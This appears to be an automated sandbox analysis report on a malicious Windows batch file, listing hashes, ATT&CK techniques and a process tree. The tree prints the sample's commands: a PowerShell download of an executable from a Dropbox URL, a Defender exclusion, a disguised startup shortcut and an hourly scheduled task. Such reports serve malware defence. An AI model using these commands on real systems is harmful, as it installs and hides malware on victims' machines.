a586feb9ef248c61911bea5382b72b5e859dfa2f46c4e8e49016a37abeab16e7

Analysis

max time kernel
149s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/07/2026, 03:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
synch-tool.bat
Size 1KB
Sample260711-ead1padt7s
SHA256 a586feb9ef248c61911bea5382b72b5e859dfa2f46c4e8e49016a37abeab16e7
MD5 4c41b7246fdf945a54a66bfd1800a548
SHA1 1129ce2b51f88c0b70daa7402a064a6e24d168f3
SHA512 f94f54af75bc7d8d0870c8c233e23ee7fb6d6eacd85dbda2b31a9d5a6d901545eaf69a27bea52e9c5a68b032d7fc4e0e5a5bc1e375f571589de0a973aeebb29f
TLSH
T1D921E79BB31EE08292F0A5E68DBC0062B55E45C7D9053C8A72579070120A3D2BBDA8CD
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://www.dropbox.com/scl/fi/obfjhfr5bysqanu0zub7w/installer.exe?rlkey=m6a1wkyy5327t3whowzvzi5qk&st=yx1qa5eg&dl=1

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4808	powershell.exe
3	4808	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4808	powershell.exe
2804	powershell.exe
3168	powershell.exe
2804	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsHelper.lnk	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
5208	update.exe
4136	whelper.exe
5072	whelper.exe
5220	whelper.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
4308	timeout.exe
5096	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	cscript.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4008	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4808	powershell.exe
4808	powershell.exe
2804	powershell.exe
2804	powershell.exe
3168	powershell.exe
3168	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeIncreaseQuotaPrivilege	2804	powershell.exe
Token: SeSecurityPrivilege	2804	powershell.exe
Token: SeTakeOwnershipPrivilege	2804	powershell.exe
Token: SeLoadDriverPrivilege	2804	powershell.exe
Token: SeSystemProfilePrivilege	2804	powershell.exe
Token: SeSystemtimePrivilege	2804	powershell.exe
Token: SeProfSingleProcessPrivilege	2804	powershell.exe
Token: SeIncBasePriorityPrivilege	2804	powershell.exe
Token: SeCreatePagefilePrivilege	2804	powershell.exe
Token: SeBackupPrivilege	2804	powershell.exe
Token: SeRestorePrivilege	2804	powershell.exe
Token: SeShutdownPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeSystemEnvironmentPrivilege	2804	powershell.exe
Token: SeRemoteShutdownPrivilege	2804	powershell.exe
Token: SeUndockPrivilege	2804	powershell.exe
Token: SeManageVolumePrivilege	2804	powershell.exe
Token: 33	2804	powershell.exe
Token: 34	2804	powershell.exe
Token: 35	2804	powershell.exe
Token: 36	2804	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3384 wrote to memory of 4308	3384	cmd.exe	88
PID 3384 wrote to memory of 4808	3384	cmd.exe	89
PID 3384 wrote to memory of 2232	3384	cmd.exe	90
PID 2232 wrote to memory of 5208	2232	cscript.exe	91
PID 5208 wrote to memory of 2804	5208	update.exe	92
PID 3384 wrote to memory of 5096	3384	cmd.exe	94
PID 5208 wrote to memory of 3168	5208	update.exe	96
PID 5208 wrote to memory of 4008	5208	update.exe	98
PID 5208 wrote to memory of 5220	5208	update.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\synch-tool.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3384
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "& { $url = 'https://www.dropbox.com/scl/fi/obfjhfr5bysqanu0zub7w/installer.exe?rlkey=m6a1wkyy5327t3whowzvzi5qk&st=yx1qa5eg&dl=1'; Invoke-WebRequest -Uri $url -OutFile 'C:\Users\Admin\Downloads\update.exe' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4808
- C:\Windows\system32\cscript.exe
  cscript "C:\Users\Admin\AppData\Local\Temp\runas.vbs" //nologo
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Users\Admin\Downloads\update.exe
    "C:\Users\Admin\Downloads\update.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsHelper' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsHelper.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\WindowsHelper\whelper.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\WindowsHelper'; $Shortcut.Description = 'Windows System Helper'; $Shortcut.Save();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3168
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "WindowsHelperUpdate" /tr "C:\ProgramData\WindowsHelper\whelper.exe" /sc hourly /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4008
  - - C:\ProgramData\WindowsHelper\whelper.exe
      "C:\ProgramData\WindowsHelper\whelper.exe"
      4⤵
      Executes dropped EXE
      PID:5220
- C:\Windows\system32\timeout.exe
  timeout /t 8 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5096

C:\PROGRA~3\WINDOW~1\whelper.exe
C:\PROGRA~3\WINDOW~1\whelper.exe
1⤵
- Executes dropped EXE
PID:4136

C:\ProgramData\WindowsHelper\whelper.exe
C:\ProgramData\WindowsHelper\whelper.exe
1⤵
- Executes dropped EXE
PID:5072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0lowkqfr.fnt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0lowkqfr.fnt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

runas.vbs

Path C:\Users\Admin\AppData\Local\Temp\runas.vbs
Size 123B
SHA256 97a54fd92c7130d463fe5d8e03c58010a3eacc773988445984deb3897f48da97
MD5 24ed98d456db3e079512de9bb2cd7f2d
SHA1 1265f417886ded4ba7ce0afda2d1a4df663275cc
SHA512 998abb2db75736fb739574818b0fc14e41c282983a47637861440bcacc3bccc4ec506a225817e27c22c63b653a5a9d2c65508afe024f6dc3b5dc93052a95d49b
TLSH
T107B09B46104CC64705557576052016C540AA56555C155885D5568844645C5344ACA68B
MD5 SHA1 SHA512 TLSH

Submit Download

update.exe

Path C:\Users\Admin\Downloads\update.exe
Size 23KB
SHA256 43d39720531452a63873b4bf3036aca879db5d5069267a807bbf0c36643958b2
MD5 47ae7ebe9efc922aa20a191f65ef1bcd
SHA1 fb6d382c79bd39f89e2cc29f701840b5cde584e9
SHA512 8433bde86b6608d82f7fe4855469ace8249c4c60c67570006b024a9985abd48534b2d7d6b454ed94fb1530f8662bd229366118d86ef90bffe115d0d071095915
SSDEEP 384:EmnXEPdIpfa3+/TdqbU46RmHyFqlcsn2HeJhmkLPuoCW:YdI0u/Td2wRBqlcs2HeJhZLPu/W
TLSH
T161B2F60EF29364D9DAA6D134E5EB9771F6B1BC220239273A1388D6392F70DD2897C507
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2804-28-0x0000020B2E900000-0x0000020B2E90A000-memory.dmp

Download

memory/2804-26-0x0000020B2E820000-0x0000020B2E83E000-memory.dmp

Download

memory/2804-27-0x0000020B2E840000-0x0000020B2E8F2000-memory.dmp

Download

memory/4136-37-0x00007FF746700000-0x00007FF74670D000-memory.dmp

Download

memory/4808-5-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-4-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-15-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-7-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-6-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-8-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-11-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-12-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-10-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/4808-0-0x00007FFA777DF000-0x00007FFA777E0000-memory.dmp

Download

memory/4808-3-0x0000021636DE0000-0x0000021636E02000-memory.dmp

Download

memory/4808-9-0x00007FFA77650000-0x00007FFA77FF4000-memory.dmp

Download

memory/5072-38-0x00007FF746700000-0x00007FF74670D000-memory.dmp

Download

memory/5208-52-0x00007FF7E1390000-0x00007FF7E139D000-memory.dmp

Download

memory/5220-53-0x00007FF746700000-0x00007FF74670D000-memory.dmp

Download